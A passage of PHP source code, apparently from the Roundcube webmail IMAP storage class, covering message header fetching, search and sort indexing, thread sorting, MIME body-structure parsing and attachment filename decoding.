        // update search_set if previous data was fetched with disabled threading
        if (!$this->search_threads) {
            if ($this->search_set->is_empty()) {
                return [];
            }
            $this->search('', $this->search_string, $this->search_charset, $this->sort_field);
        }

        return $this->fetch_thread_headers($folder, clone $this->search_set, $page, $slice);
    }

    /**
     * Fetches messages headers (by UID)
     *
     * @param  string  $folder   Folder name
     * @param  array   $msgs     Message UIDs
     * @param  bool    $sort     Enables result sorting by $msgs
     * @param  bool    $force    Disables cache use
     *
     * @return array Messages headers indexed by UID
     */
    function fetch_headers($folder, $msgs, $sort = true, $force = false)
    {
        if (empty($msgs)) {
            return [];
        }

        if (!$force && ($mcache = $this->get_mcache_engine())) {
            $headers = $mcache->get_messages($folder, $msgs);
        }
        else if (!$this->check_connection()) {
            return [];
        }
        else {
            // fetch requested headers from server
            $headers = $this->conn->fetchHeaders(
                $folder, $msgs, true, false, $this->get_fetch_headers());
        }

        if (empty($headers)) {
            return [];
        }

        $msg_headers = [];
        foreach ($headers as $h) {
            $h->folder = $folder;
            $msg_headers[$h->uid] = $h;
        }

        if ($sort) {
            // use this class for message sorting
            $sorter = new rcube_message_header_sorter();
            $sorter->set_index($msgs);
            $sorter->sort_headers($msg_headers);
        }

        return $msg_headers;
    }

    /**
     * Returns current status of a folder (compared to the last time use)
     *
     * We compare the maximum UID to determine the number of
     * new messages because the RECENT flag is not reliable.
     *
     * @param string $folder Folder name
     * @param array  $diff   Difference data
     *
     * @return int Folder status
     */
    public function folder_status($folder = null, &$diff = [])
    {
        if (!is_string($folder) || !strlen($folder)) {
            $folder = $this->folder;
        }

        $old = $this->get_folder_stats($folder);

        // refresh message count -> will update
        $this->countmessages($folder, 'ALL', true, true, true);

        $result = 0;

        if (empty($old)) {
            return $result;
        }

        $new = $this->get_folder_stats($folder);

        // got new messages
        if ($new['maxuid'] > $old['maxuid']) {
            $result += 1;
            // get new message UIDs range, that can be used for example
            // to get the data of these messages
            $diff['new'] = ($old['maxuid'] + 1 < $new['maxuid'] ? ($old['maxuid']+1).':' : '') . $new['maxuid'];
        }

        // some messages has been deleted
        if ($new['cnt'] < $old['cnt']) {
            $result += 2;
        }

        // @TODO: optional checking for messages flags changes (?)
        // @TODO: UIDVALIDITY checking

        return $result;
    }

    /**
     * Stores folder statistic data in session
     * @TODO: move to separate DB table (cache?)
     *
     * @param string $folder  Folder name
     * @param string $name    Data name
     * @param mixed  $data    Data value
     */
    protected function set_folder_stats($folder, $name, $data)
    {
        $_SESSION['folders'][$folder][$name] = $data;
    }

    /**
     * Gets folder statistic data
     *
     * @param string $folder Folder name
     *
     * @return array Stats data
     */
    protected function get_folder_stats($folder)
    {
        if (isset($_SESSION['folders'][$folder])) {
            return (array) $_SESSION['folders'][$folder];
        }

        return [];
    }

    /**
     * Return sorted list of message UIDs
     *
     * @param string $folder     Folder to get index from
     * @param string $sort_field Sort column
     * @param string $sort_order Sort order [ASC, DESC]
     * @param bool   $no_threads Get not threaded index
     * @param bool   $no_search  Get index not limited to search result (optionally)
     *
     * @return rcube_result_index|rcube_result_thread List of messages (UIDs)
     */
    public function index($folder = '', $sort_field = null, $sort_order = null,
        $no_threads = false, $no_search = false
    ) {
        if (!$no_threads && $this->threading) {
            return $this->thread_index($folder, $sort_field, $sort_order);
        }

        $this->set_sort_order($sort_field, $sort_order);

        if (!is_string($folder) || !strlen($folder)) {
            $folder = $this->folder;
        }

        // we have a saved search result, get index from there
        if ($this->search_string) {
            if ($this->search_set->is_empty()) {
                return new rcube_result_index($folder, '* SORT');
            }

            if ($this->search_set instanceof rcube_result_multifolder) {
                $index = $this->search_set;
                $index->folder = $folder;
                // TODO: handle changed sorting
            }
            // search result is an index with the same sorting?
            else if (($this->search_set instanceof rcube_result_index)
                && ((!$this->sort_field && !$this->search_sorted) ||
                    ($this->search_sorted && $this->search_sort_field == $this->sort_field))
            ) {
                $index = $this->search_set;
            }
            // $no_search is enabled when we are not interested in
            // fetching index for search result, e.g. to sort
            // threaded search result we can use full mailbox index.
            // This makes possible to use index from cache
            else if (!$no_search) {
                if (!$this->sort_field) {
                    // No sorting needed, just build index from the search result
                    // @TODO: do we need to sort by UID here?
                    $search = $this->search_set->get_compressed();
                    $index  = new rcube_result_index($folder, '* ESEARCH ALL ' . $search);
                }
                else {
                    $index = $this->index_direct($folder, $this->sort_field, $this->sort_order, $this->search_set);
                }
            }

            if (isset($index)) {
                if ($this->sort_order != $index->get_parameters('ORDER')) {
                    $index->revert();
                }

                return $index;
            }
        }

        // check local cache
        if ($mcache = $this->get_mcache_engine()) {
            return $mcache->get_index($folder, $this->sort_field, $this->sort_order);
        }

        // fetch from IMAP server
        return $this->index_direct($folder, $this->sort_field, $this->sort_order);
    }

    /**
     * Return sorted list of message UIDs ignoring current search settings.
     * Doesn't uses cache by default.
     *
     * @param string             $folder     Folder to get index from
     * @param string             $sort_field Sort column
     * @param string             $sort_order Sort order [ASC, DESC]
     * @param rcube_result_index $search     Optional messages set to limit the result
     *
     * @return rcube_result_index Sorted list of message UIDs
     */
    public function index_direct($folder, $sort_field = null, $sort_order = null, $search = null)
    {
        if (!empty($search)) {
            $search = $search->get_compressed();
        }

        // use message index sort as default sorting
        if (!$sort_field) {
            // use search result from count() if possible
            if (empty($search) && $this->options['skip_deleted']
                && !empty($this->icache['undeleted_idx'])
                && $this->icache['undeleted_idx']->get_parameters('ALL') !== null
                && $this->icache['undeleted_idx']->get_parameters('MAILBOX') == $folder
            ) {
                $index = $this->icache['undeleted_idx'];
            }
            else if (!$this->check_connection()) {
                return new rcube_result_index();
            }
            else {
                $query = $this->options['skip_deleted'] ? 'UNDELETED' : '';
                if ($search) {
                    $query = trim($query . ' UID ' . $search);
                }

                $index = $this->conn->search($folder, $query, true);
            }
        }
        else if (!$this->check_connection()) {
            return new rcube_result_index();
        }
        // fetch complete message index
        else {
            if ($this->get_capability('SORT')) {
                $query = $this->options['skip_deleted'] ? 'UNDELETED' : '';
                if ($search) {
                    $query = trim($query . ' UID ' . $search);
                }

                $index = $this->conn->sort($folder, $sort_field, $query, true);
            }

            if (empty($index) || $index->is_error()) {
                $index = $this->conn->index($folder, $search ? $search : "1:*",
                    $sort_field, $this->options['skip_deleted'],
                    $search ? true : false, true);
            }
        }

        if ($sort_order != $index->get_parameters('ORDER')) {
            $index->revert();
        }

        return $index;
    }

    /**
     * Return index of threaded message UIDs
     *
     * @param string $folder     Folder to get index from
     * @param string $sort_field Sort column
     * @param string $sort_order Sort order [ASC, DESC]
     *
     * @return rcube_result_thread Message UIDs
     */
    public function thread_index($folder = '', $sort_field = null, $sort_order = null)
    {
        if (!is_string($folder) || !strlen($folder)) {
            $folder = $this->folder;
        }

        // we have a saved search result, get index from there
        if ($this->search_string && $this->search_threads && $folder == $this->folder) {
            $threads = $this->search_set;
        }
        else {
            // get all threads (default sort order)
            $threads = $this->threads($folder);
        }

        $this->set_sort_order($sort_field, $sort_order);
        $this->sort_threads($threads);

        return $threads;
    }

    /**
     * Sort threaded result, using THREAD=REFS method if available.
     * If not, use any method and re-sort the result in THREAD=REFS way.
     *
     * @param rcube_result_thread $threads Threads result set
     */
    protected function sort_threads($threads)
    {
        if ($threads->is_empty()) {
            return;
        }

        // THREAD=ORDEREDSUBJECT: sorting by sent date of root message
        // THREAD=REFERENCES:     sorting by sent date of root message
        // THREAD=REFS:           sorting by the most recent date in each thread

        if ($this->threading != 'REFS' || ($this->sort_field && $this->sort_field != 'date')) {
            $sortby = $this->sort_field ?: 'date';
            $index  = $this->index($this->folder, $sortby, $this->sort_order, true, true);

            if (!$index->is_empty()) {
                $threads->sort($index);
            }
        }
        else if ($this->sort_order != $threads->get_parameters('ORDER')) {
            $threads->revert();
        }
    }

    /**
     * Invoke search request to IMAP server
     *
     * @param  string  $folder     Folder name to search in
     * @param  string  $search     Search criteria
     * @param  string  $charset    Search charset
     * @param  string  $sort_field Header field to sort by
     *
     * @return rcube_result_index  Search result object
     * @todo: Search criteria should be provided in non-IMAP format, e.g. array
     */
    public function search($folder = '', $search = 'ALL', $charset = null, $sort_field = null)
    {
        if (!$search) {
            $search = 'ALL';
        }

        if ((is_array($folder) && empty($folder)) || (!is_array($folder) && !strlen($folder))) {
            $folder = $this->folder;
        }

        $plugin = $this->plugins->exec_hook('imap_search_before', [
                'folder'     => $folder,
                'search'     => $search,
                'charset'    => $charset,
                'sort_field' => $sort_field,
                'threading'  => $this->threading,
                'result'     => null,
        ]);

        $folder     = $plugin['folder'];
        $search     = $plugin['search'];
        $charset    = $plugin['charset'];
        $sort_field = $plugin['sort_field'];
        $results    = $plugin['result'];

        // multi-folder search
        if (!$results && is_array($folder) && count($folder) > 1 && $search != 'ALL') {
            // connect IMAP to have all the required classes and settings loaded
            $this->check_connection();

            // disable threading
            $this->threading = false;

            $searcher = new rcube_imap_search($this->options, $this->conn);

            // set limit to not exceed the client's request timeout
            $searcher->set_timelimit(60);

            // continue existing incomplete search
            if (!empty($this->search_set) && $this->search_set->incomplete && $search == $this->search_string) {
                $searcher->set_results($this->search_set);
            }

            // execute the search
            $results = $searcher->exec(
                $folder,
                $search,
                $charset ?: $this->default_charset,
                $sort_field && $this->get_capability('SORT') ? $sort_field : null,
                $this->threading
            );
        }
        else if (!$results) {
            $folder  = is_array($folder) ? $folder[0] : $folder;
            $search  = is_array($search) ? $search[$folder] : $search;
            $results = $this->search_index($folder, $search, $charset, $sort_field);
        }

        $sorted = $this->threading || $this->search_sorted || !empty($plugin['search_sorted']);

        $this->set_search_set([$search, $results, $charset, $sort_field, $sorted]);

        return $results;
    }

    /**
     * Direct (real and simple) SEARCH request (without result sorting and caching).
     *
     * @param string $folder Mailbox name to search in
     * @param string $str    Search string
     *
     * @return rcube_result_index  Search result (UIDs)
     */
    public function search_once($folder = null, $str = 'ALL')
    {
        if (!$this->check_connection()) {
            return new rcube_result_index();
        }

        if (!$str) {
            $str = 'ALL';
        }

        // multi-folder search
        if (is_array($folder) && count($folder) > 1) {
            $searcher = new rcube_imap_search($this->options, $this->conn);
            $index = $searcher->exec($folder, $str, $this->default_charset);
        }
        else {
            $folder = is_array($folder) ? $folder[0] : $folder;
            if (!strlen($folder)) {
                $folder = $this->folder;
            }
            $index = $this->conn->search($folder, $str, true);
        }

        return $index;
    }

    /**
     * protected search method
     *
     * @param string $folder     Folder name
     * @param string $criteria   Search criteria
     * @param string $charset    Charset
     * @param string $sort_field Sorting field
     *
     * @return rcube_result_index|rcube_result_thread  Search results (UIDs)
     * @see rcube_imap::search()
     */
    protected function search_index($folder, $criteria = 'ALL', $charset = null, $sort_field = null)
    {
        if (!$this->check_connection()) {
            if ($this->threading) {
                return new rcube_result_thread();
            }
            else {
                return new rcube_result_index();
            }
        }

        if ($this->options['skip_deleted'] && !preg_match('/UNDELETED/', $criteria)) {
            $criteria = 'UNDELETED '.$criteria;
        }

        // unset CHARSET if criteria string is ASCII, this way
        // SEARCH won't be re-sent after "unsupported charset" response
        if ($charset && $charset != 'US-ASCII' && is_ascii($criteria)) {
            $charset = 'US-ASCII';
        }

        if ($this->threading) {
            $threads = $this->conn->thread($folder, $this->threading, $criteria, true, $charset);

            // Error, try with US-ASCII (RFC5256: SORT/THREAD must support US-ASCII and UTF-8,
            // but I've seen that Courier doesn't support UTF-8)
            if ($threads->is_error() && $charset && $charset != 'US-ASCII') {
                $threads = $this->conn->thread($folder, $this->threading,
                    self::convert_criteria($criteria, $charset), true, 'US-ASCII');
            }

            return $threads;
        }

        if ($sort_field && $this->get_capability('SORT')) {
            $charset  = $charset ?: $this->default_charset;
            $messages = $this->conn->sort($folder, $sort_field, $criteria, true, $charset);

            // Error, try with US-ASCII (RFC5256: SORT/THREAD must support US-ASCII and UTF-8,
            // but I've seen Courier with disabled UTF-8 support)
            if ($messages->is_error() && $charset && $charset != 'US-ASCII') {
                $messages = $this->conn->sort($folder, $sort_field,
                    self::convert_criteria($criteria, $charset), true, 'US-ASCII');
            }

            if (!$messages->is_error()) {
                $this->search_sorted = true;
                return $messages;
            }
        }

        $messages = $this->conn->search($folder,
            ($charset && $charset != 'US-ASCII' ? "CHARSET $charset " : '') . $criteria, true);

        // Error, try with US-ASCII (some servers may support only US-ASCII)
        if ($messages->is_error() && $charset && $charset != 'US-ASCII') {
            $messages = $this->conn->search($folder, self::convert_criteria($criteria, $charset), true);
        }

        $this->search_sorted = false;

        return $messages;
    }

    /**
     * Converts charset of search criteria string
     *
     * @param  string  $str          Search string
     * @param  string  $charset      Original charset
     * @param  string  $dest_charset Destination charset (default US-ASCII)
     *
     * @return string  Search string
     */
    public static function convert_criteria($str, $charset, $dest_charset = 'US-ASCII')
    {
        // convert strings to US_ASCII
        if (preg_match_all('/\{([0-9]+)\}\r\n/', $str, $matches, PREG_OFFSET_CAPTURE)) {
            $last = 0;
            $res  = '';

            foreach ($matches[1] as $m) {
                $string_offset = $m[1] + strlen($m[0]) + 4; // {}\r\n
                $string = substr($str, $string_offset - 1, $m[0]);
                $string = rcube_charset::convert($string, $charset, $dest_charset);

                if ($string === false || !strlen($string)) {
                    continue;
                }

                $res .= substr($str, $last, $m[1] - $last - 1) . rcube_imap_generic::escape($string);
                $last = $m[0] + $string_offset - 1;
            }

            if ($last < strlen($str)) {
                $res .= substr($str, $last, strlen($str)-$last);
            }
        }
        // strings for conversion not found
        else {
            $res = $str;
        }

        return $res;
    }

    /**
     * Refresh saved search set
     *
     * @return array Current search set
     */
    public function refresh_search()
    {
        if (!empty($this->search_string)) {
            $this->search(
                is_object($this->search_set) ? $this->search_set->get_parameters('MAILBOX') : '',
                $this->search_string,
                $this->search_charset,
                $this->search_sort_field
            );
        }

        return $this->get_search_set();
    }

    /**
     * Flag certain result subsets as 'incomplete'.
     * For subsequent refresh_search() calls to only refresh the updated parts.
     */
    protected function set_search_dirty($folder)
    {
        if ($this->search_set && is_a($this->search_set, 'rcube_result_multifolder')) {
            if ($subset = $this->search_set->get_set($folder)) {
                $subset->incomplete = $this->search_set->incomplete = true;
            }
        }
    }

    /**
     * Return message headers object of a specific message
     *
     * @param int    $uid    Message UID
     * @param string $folder Folder to read from
     * @param bool   $force  True to skip cache
     *
     * @return rcube_message_header Message headers
     */
    public function get_message_headers($uid, $folder = null, $force = false)
    {
        // decode combined UID-folder identifier
        if (preg_match('/^\d+-.+/', $uid)) {
            list($uid, $folder) = explode('-', $uid, 2);
        }

        if (!is_string($folder) || !strlen($folder)) {
            $folder = $this->folder;
        }

        // get cached headers
        if (!$force && $uid && ($mcache = $this->get_mcache_engine())) {
            $headers = $mcache->get_message($folder, $uid);
        }
        else if (!$this->check_connection()) {
            $headers = false;
        }
        else {
            $headers = $this->conn->fetchHeader(
                $folder, $uid, true, true, $this->get_fetch_headers());

            if (is_object($headers)) {
                $headers->folder = $folder;
            }
        }

        return $headers;
    }

    /**
     * Fetch message headers and body structure from the IMAP server and build
     * an object structure.
     *
     * @param int    $uid    Message UID to fetch
     * @param string $folder Folder to read from
     *
     * @return object rcube_message_header Message data
     */
    public function get_message($uid, $folder = null)
    {
        if (!is_string($folder) || !strlen($folder)) {
            $folder = $this->folder;
        }

        // decode combined UID-folder identifier
        if (preg_match('/^\d+-.+/', $uid)) {
            list($uid, $folder) = explode('-', $uid, 2);
        }

        // Check internal cache
        if (!empty($this->icache['message']) && ($headers = $this->icache['message'])) {
            // Make sure the folder and UID is what we expect.
            // In case when the same process works with folders that are personal
            // and shared two folders can contain the same UIDs.
            if ($headers->uid == $uid && $headers->folder == $folder) {
                return $headers;
            }
        }

        $headers = $this->get_message_headers($uid, $folder);

        // message doesn't exist?
        if (empty($headers)) {
            return null;
        }

        // structure might be cached
        if (!empty($headers->structure)) {
            return $headers;
        }

        $this->msg_uid = $uid;

        if (!$this->check_connection()) {
            return $headers;
        }

        if (empty($headers->bodystructure)) {
            $headers->bodystructure = $this->conn->getStructure($folder, $uid, true);
        }

        $structure = $headers->bodystructure;

        if (empty($structure)) {
            return $headers;
        }

        // set message charset from message headers
        if ($headers->charset) {
            $this->struct_charset = $headers->charset;
        }
        else {
            $this->struct_charset = $this->structure_charset($structure);
        }

        $headers->ctype = @strtolower($headers->ctype);

        // Here we can recognize malformed BODYSTRUCTURE and
        // 1. [@TODO] parse the message in other way to create our own message structure
        // 2. or just show the raw message body.
        // Example of structure for malformed MIME message:
        // ("text" "plain" NIL NIL NIL "7bit" 2154 70 NIL NIL NIL)
        if ($headers->ctype && !is_array($structure[0]) && $headers->ctype != 'text/plain'
            && strtolower($structure[0].'/'.$structure[1]) == 'text/plain'
        ) {
            // A special known case "Content-type: text" (#1488968)
            if ($headers->ctype == 'text') {
                $structure[1]   = 'plain';
                $headers->ctype = 'text/plain';
            }
            // we can handle single-part messages, by simple fix in structure (#1486898)
            else if (preg_match('/^(text|application)\/(.*)/', $headers->ctype, $m)) {
                $structure[0] = $m[1];
                $structure[1] = $m[2];
            }
            else {
                // Try to parse the message using rcube_mime_decode.
                // We need a better solution, it parses message
                // in memory, which wouldn't work for very big messages,
                // (it uses up to 10x more memory than the message size)
                // it's also buggy and not actively developed
                if ($headers->size && rcube_utils::mem_check($headers->size * 10)) {
                    $raw_msg = $this->get_raw_body($uid);
                    $struct = rcube_mime::parse_message($raw_msg);
                }
                else {
                    return $headers;
                }
            }
        }

        if (empty($struct)) {
            $struct = $this->structure_part($structure, 0, '', $headers);
        }

        // some workarounds on simple messages...
        if (empty($struct->parts)) {
            // ...don't trust given content-type
            if (!empty($headers->ctype)) {
                $struct->mime_id  = '1';
                $struct->mimetype = strtolower($headers->ctype);
                list($struct->ctype_primary, $struct->ctype_secondary) = explode('/', $struct->mimetype);
            }

            // ...and charset (there's a case described in #1488968 where invalid content-type
            // results in invalid charset in BODYSTRUCTURE)
            if (!empty($headers->charset) && $headers->charset != $struct->ctype_parameters['charset']) {
                $struct->charset                     = $headers->charset;
                $struct->ctype_parameters['charset'] = $headers->charset;
            }
        }

        $headers->structure = $struct;

        return $this->icache['message'] = $headers;
    }

    /**
     * Build message part object
     *
     * @param array  $part
     * @param int    $count
     * @param string $parent
     */
    protected function structure_part($part, $count = 0, $parent = '', $mime_headers = null)
    {
        $struct = new rcube_message_part;
        $struct->mime_id = empty($parent) ? (string)$count : "$parent.$count";

        // multipart
        if (is_array($part[0])) {
            $struct->ctype_primary = 'multipart';

        /* RFC3501: BODYSTRUCTURE fields of multipart part
            part1 array
            part2 array
            part3 array
            ....
            1. subtype
            2. parameters (optional)
            3. description (optional)
            4. language (optional)
            5. location (optional)
        */

            // find first non-array entry
            for ($i=1; $i<count($part); $i++) {
                if (is_string($part[$i])) {
                    $struct->ctype_secondary = strtolower($part[$i]);

                    // read content type parameters
                    if (isset($part[$i+1]) && is_array($part[$i+1])) {
                        $struct->ctype_parameters = [];
                        for ($j=0; $j<count($part[$i+1]); $j+=2) {
                            if (is_string($part[$i+1][$j])) {
                                $param = strtolower($part[$i+1][$j]);
                                $struct->ctype_parameters[$param] = $part[$i+1][$j+1];
                            }
                        }
                    }

                    break;
                }
            }

            $struct->mimetype = 'multipart/'.$struct->ctype_secondary;

            // build parts list for headers pre-fetching
            for ($i=0; $i<count($part); $i++) {
                // fetch message headers if message/rfc822 or named part
                if (is_array($part[$i]) && !is_array($part[$i][0])) {
                    $tmp_part_id = $struct->mime_id ? $struct->mime_id.'.'.($i+1) : $i+1;
                    if (strtolower($part[$i][0]) == 'message' && strtolower($part[$i][1]) == 'rfc822') {
                        $mime_part_headers[] = $tmp_part_id;
                    }
                    else if ($this->is_attachment_part($part[$i])) {
                        $mime_part_headers[] = $tmp_part_id;
                    }
                }
            }

            // pre-fetch headers of all parts (in one command for better performance)
            // @TODO: we could do this before _structure_part() call, to fetch
            // headers for parts on all levels
            if (!empty($mime_part_headers)) {
                $mime_part_headers = $this->conn->fetchMIMEHeaders($this->folder,
                    $this->msg_uid, $mime_part_headers);
            }

            $struct->parts = [];
            for ($i=0, $count=0; $i<count($part); $i++) {
                if (!is_array($part[$i])) {
                    break;
                }
                $tmp_part_id = $struct->mime_id ? $struct->mime_id.'.'.($i+1) : $i+1;
                $struct->parts[] = $this->structure_part($part[$i], ++$count, $struct->mime_id,
                    !empty($mime_part_headers[$tmp_part_id]) ? $mime_part_headers[$tmp_part_id] : null);
            }

            return $struct;
        }

        /* RFC3501: BODYSTRUCTURE fields of non-multipart part
            0. type
            1. subtype
            2. parameters
            3. id
            4. description
            5. encoding
            6. size
          -- text
            7. lines
          -- message/rfc822
            7. envelope structure
            8. body structure
            9. lines
          --
            x. md5 (optional)
            x. disposition (optional)
            x. language (optional)
            x. location (optional)
        */

        // Sometimes it might be: 0. subtype, 1. parameters, ...
        $params_idx = is_array($part[1]) ? 1 : 2;

        // regular part
        $struct->ctype_primary   = is_array($part[1]) ? 'multipart' : strtolower($part[0]);
        $struct->ctype_secondary = is_array($part[1]) ? strtolower($part[0]) : strtolower($part[1]);
        $struct->mimetype        = $struct->ctype_primary.'/'.$struct->ctype_secondary;

        // read content type parameters
        if (is_array($part[$params_idx])) {
            $struct->ctype_parameters = [];
            for ($i=0; $i<count($part[$params_idx]); $i+=2) {
                if (is_string($part[$params_idx][$i])) {
                    $struct->ctype_parameters[strtolower($part[$params_idx][$i])] = $part[$params_idx][$i+1];
                }
            }

            if (isset($struct->ctype_parameters['charset'])) {
                $struct->charset = $struct->ctype_parameters['charset'];
            }
        }

        // #1487700: workaround for lack of charset in malformed structure
        if (empty($struct->charset) && !empty($mime_headers) && !empty($mime_headers->charset)) {
            $struct->charset = $mime_headers->charset;
        }

        // Sanitize charset for security
        if ($struct->charset && !rcube_charset::is_valid($struct->charset)) {
            $struct->charset = '';
        }

        // read content encoding
        if (!empty($part[5]) && !is_array($part[5])) {
            $struct->encoding = strtolower($part[5]);
            $struct->headers['content-transfer-encoding'] = $struct->encoding;
        }

        // get part size
        if (!empty($part[6])) {
            $struct->size = intval($part[6]);
        }

        // read part disposition
        $di = 8;
        if ($struct->ctype_primary == 'text') {
            $di += 1;
        }
        else if ($struct->mimetype == 'message/rfc822') {
            $di += 3;
        }

        if (isset($part[$di]) && is_array($part[$di]) && count($part[$di]) == 2) {
            $struct->disposition = strtolower($part[$di][0]);
            if ($struct->disposition && $struct->disposition !== 'inline' && $struct->disposition !== 'attachment') {
                // RFC2183, Section 2.8 - unrecognized type should be treated as "attachment"
                $struct->disposition = 'attachment';
            }
            if (is_array($part[$di][1])) {
                for ($n=0; $n<count($part[$di][1]); $n+=2) {
                    if (is_string($part[$di][1][$n])) {
                        $struct->d_parameters[strtolower($part[$di][1][$n])] = $part[$di][1][$n+1];
                    }
                }
            }
        }

        // get message/rfc822's child-parts
        if (isset($part[8]) && is_array($part[8]) && $di != 8) {
            $struct->parts = [];

            for ($i=0; $i<count($part[8]); $i++) {
                if (!is_array($part[8][$i])) {
                    break;
                }

                $subpart_id = $struct->mime_id ? $struct->mime_id . '.' . ($i+1) : $i+1;

                if ($this->is_attachment_part($part[8][$i])) {
                    $mime_part_headers[] = $subpart_id;
                }

                $struct->parts[$subpart_id] = $part[8][$i];
            }

            // Fetch attachment parts' headers in one go
            if (!empty($mime_part_headers)) {
                $mime_part_headers = $this->conn->fetchMIMEHeaders($this->folder, $this->msg_uid, $mime_part_headers);
            }

            $count = 0;
            foreach ($struct->parts as $idx => $subpart) {
                $struct->parts[$idx] = $this->structure_part($subpart, ++$count, $struct->mime_id,
                    !empty($mime_part_headers[$idx]) ? $mime_part_headers[$idx] : null);
            }

            $struct->parts = array_values($struct->parts);
        }

        // get part ID
        if (!empty($part[3])) {
            $struct->content_id = $struct->headers['content-id'] = trim($part[3]);

            // FIXME: This is not the best idea. We should get rid of this at some point
            if (empty($struct->disposition)) {
                $struct->disposition = 'inline';
            }
        }

        // fetch message headers if message/rfc822 or named part (could contain Content-Location header)
        if (
            $struct->ctype_primary == 'message'
            || (!empty($struct->ctype_parameters['name']) && !empty($struct->content_id))
        ) {
            if (empty($mime_headers)) {
                $mime_headers = $this->conn->fetchPartHeader($this->folder, $this->msg_uid, true, $struct->mime_id);
            }

            if (is_string($mime_headers)) {
                $struct->headers = rcube_mime::parse_headers($mime_headers) + $struct->headers;
            }
            else if (is_object($mime_headers)) {
                $struct->headers = get_object_vars($mime_headers) + $struct->headers;
            }

            // get real content-type of message/rfc822
            if ($struct->mimetype == 'message/rfc822') {
                // single-part
                if (!is_array($part[8][0]) && !is_array($part[8][1])) {
                    $struct->real_mimetype = strtolower($part[8][0] . '/' . $part[8][1]);
                }
                // multi-part
                else {
                    for ($n=0; $n<count($part[8]); $n++) {
                        if (!is_array($part[8][$n])) {
                            break;
                        }
                    }
                    $struct->real_mimetype = 'multipart/' . strtolower($part[8][$n]);
                }
            }

            if ($struct->ctype_primary == 'message' && empty($struct->parts)) {
                if (is_array($part[8]) && $di != 8) {
                    $struct->parts[] = $this->structure_part($part[8], ++$count, $struct->mime_id);
                }
            }
        }

        // normalize filename property
        $this->set_part_filename($struct, $mime_headers);

        return $struct;
    }

    /**
     * Check if the mail structure part is an attachment part and requires
     * fetching the MIME headers for further processing.
     */
    protected function is_attachment_part($part)
    {
        if (!empty($part[2]) && is_array($part[2]) && empty($part[3])) {
            $params = array_map('strtolower', (array) $part[2]);
            $find   = ['name', 'filename', 'name*', 'filename*', 'name*0', 'filename*0', 'name*0*', 'filename*0*'];

            // In case of malformed header check disposition. E.g. some servers for
            // "Content-Type: PDF; name=test.pdf" may return text/plain and ignore name argument
            return count(array_intersect($params, $find)) > 0
                || (isset($part[9]) && is_array($part[9]) && stripos($part[9][0], 'attachment') === 0);
        }

        return false;
    }

    /**
     * Set attachment filename from message part structure
     *
     * @param rcube_message_part $part    Part object
     * @param string             $headers Part's raw headers
     */
    protected function set_part_filename(&$part, $headers = null)
    {
        // Some IMAP servers do not support RFC2231, if we have
        // part headers we'll get attachment name from them, not the BODYSTRUCTURE
        $rfc2231_params = [];
        if (!empty($headers) || !empty($part->headers)) {
            if (is_object($headers)) {
                $headers = get_object_vars($headers);
            }
            else {
                $headers = !empty($headers) ? rcube_mime::parse_headers($headers) : $part->headers;
            }

            $ctype       = $headers['content-type'] ?? '';
            $disposition = $headers['content-disposition'] ?? '';
            $tokens      = preg_split('/;[\s\r\n\t]*/',  $ctype. ';' . $disposition);

            foreach ($tokens as $token) {
                // TODO: Use order defined by the parameter name not order of occurrence in the header
                if (preg_match('/^(name|filename)\*([0-9]*)\*?="*([^"]+)"*/i', $token, $matches)) {
                    $key = strtolower($matches[1]);
                    $rfc2231_params[$key] = ($rfc2231_params[$key] ?? '') . $matches[3];
                }
            }
        }

        if (isset($rfc2231_params['name'])) {
            $filename_encoded = $rfc2231_params['name'];
        }
        else if (isset($rfc2231_params['filename'])) {
            $filename_encoded = $rfc2231_params['filename'];
        }
        else if (isset($part->d_parameters['filename*'])) {
            $filename_encoded = $part->d_parameters['filename*'];
        }
        else if (isset($part->ctype_parameters['name*'])) {
            $filename_encoded = $part->ctype_parameters['name*'];
        }
        else if (!empty($part->d_parameters['filename'])) {
            $filename_mime = $part->d_parameters['filename'];
        }
        // read 'name' after rfc2231 parameters as it may contain truncated filename (from Thunderbird)
        else if (!empty($part->ctype_parameters['name'])) {
            $filename_mime = $part->ctype_parameters['name'];
        }
        else if (!empty($part->headers['content-description'])) {
            $filename_mime = $part->headers['content-description'];
        }
        else {
            return;
        }

        // decode filename
        if (isset($filename_mime)) {
            if (!empty($part->charset)) {
                $charset = $part->charset;
            }
            else if (!empty($this->struct_charset)) {
                $charset = $this->struct_charset;
            }
            else {
                $charset = $this->default_charset;
            }

            $part->filename = rcube_mime::decode_mime_string($filename_mime, $charset);
        }
        else if (isset($filename_encoded)) {
            // decode filename according to RFC 2231, Section 4
            if (preg_match("/^([^']*)'[^']*'(.*)$/", $filename_encoded, $fmatches)) {
                $filename_charset = $fmatches[1];
                $filename_encoded = $fmatches[2];
            }

            $part->filename = rawurldecode($filename_encoded);

            if (!empty($filename_charset)) {
                $part->filename = rcube_charset::convert($part->filename, $filename_charset);
            }
        }

        // Workaround for invalid Content-Type (#6816)
        // Some servers for "Content-Type: PDF; name=test.pdf" may return text/plain and ignore name argument
        if ($part->mimetype == 'text/plain' && !empty($headers['content-type'])) {
            $tokens = preg_split('/;[\s\r\n\t]*/', $headers['content-type']);
            $type   = rcube_mime::fix_mimetype($tokens[0]);

            if ($type != $part->mimetype) {
                $part->mimetype = $type;
                list($part->ctype_primary, $part->ctype_secondary) = explode('/', $part->mimetype);
            }
        }
    }

    /**
     * Get charset name from message structure (first part)
     *
     * @param array $structure Message structure
     *
     * @return string Charset name
     */
    protected function structure_charset($structure)
    {
        while (is_array($structure)) {
            if (is_array($structure[2]) && $structure[2][0] == 'charset') {
                return $structure[2][1];
            }
            $structure = $structure[0];
        }
    }


    /**
     * Fetch message body of a specific message from the server
     *
     * @param int                $uid       Message UID
     * @param string             $part      Part number
     * @param rcube_message_part $o_part    Part object created by get_structure()
     * @param mixed              $print     True to print part, resource to write part contents in
     * @param resource           $fp        File pointer to save the message part
     * @param bool               $skip_charset_conv Disables charset conversion
     * @param int                $max_bytes Only read this number of bytes
     * @param bool               $formatted Enables formatting of text/* parts bodies
     *
     * @return string Message/part body if not printed
     */
    public function get_message_part($uid, $part = 1, $o_part = null, $print = null, $fp = null,
        $skip_charset_conv = false, $max_bytes = 0, $formatted = true)
    {
        if (!$this->check_connection()) {
            return null;
        }

        // get part data if not provided
        if (!is_object($o_part)) {
            $structure = $this->conn->getStructure($this->folder, $uid, true);
            $part_data = rcube_imap_generic::getStructurePartData($structure, $part);

            $o_part = new rcube_message_part;
            $o_part->ctype_primary   = $part_data['type'] ?? null;
            $o_part->ctype_secondary = $part_data['subtype'] ?? null;
            $o_part->encoding        = $part_data['encoding'] ?? null;
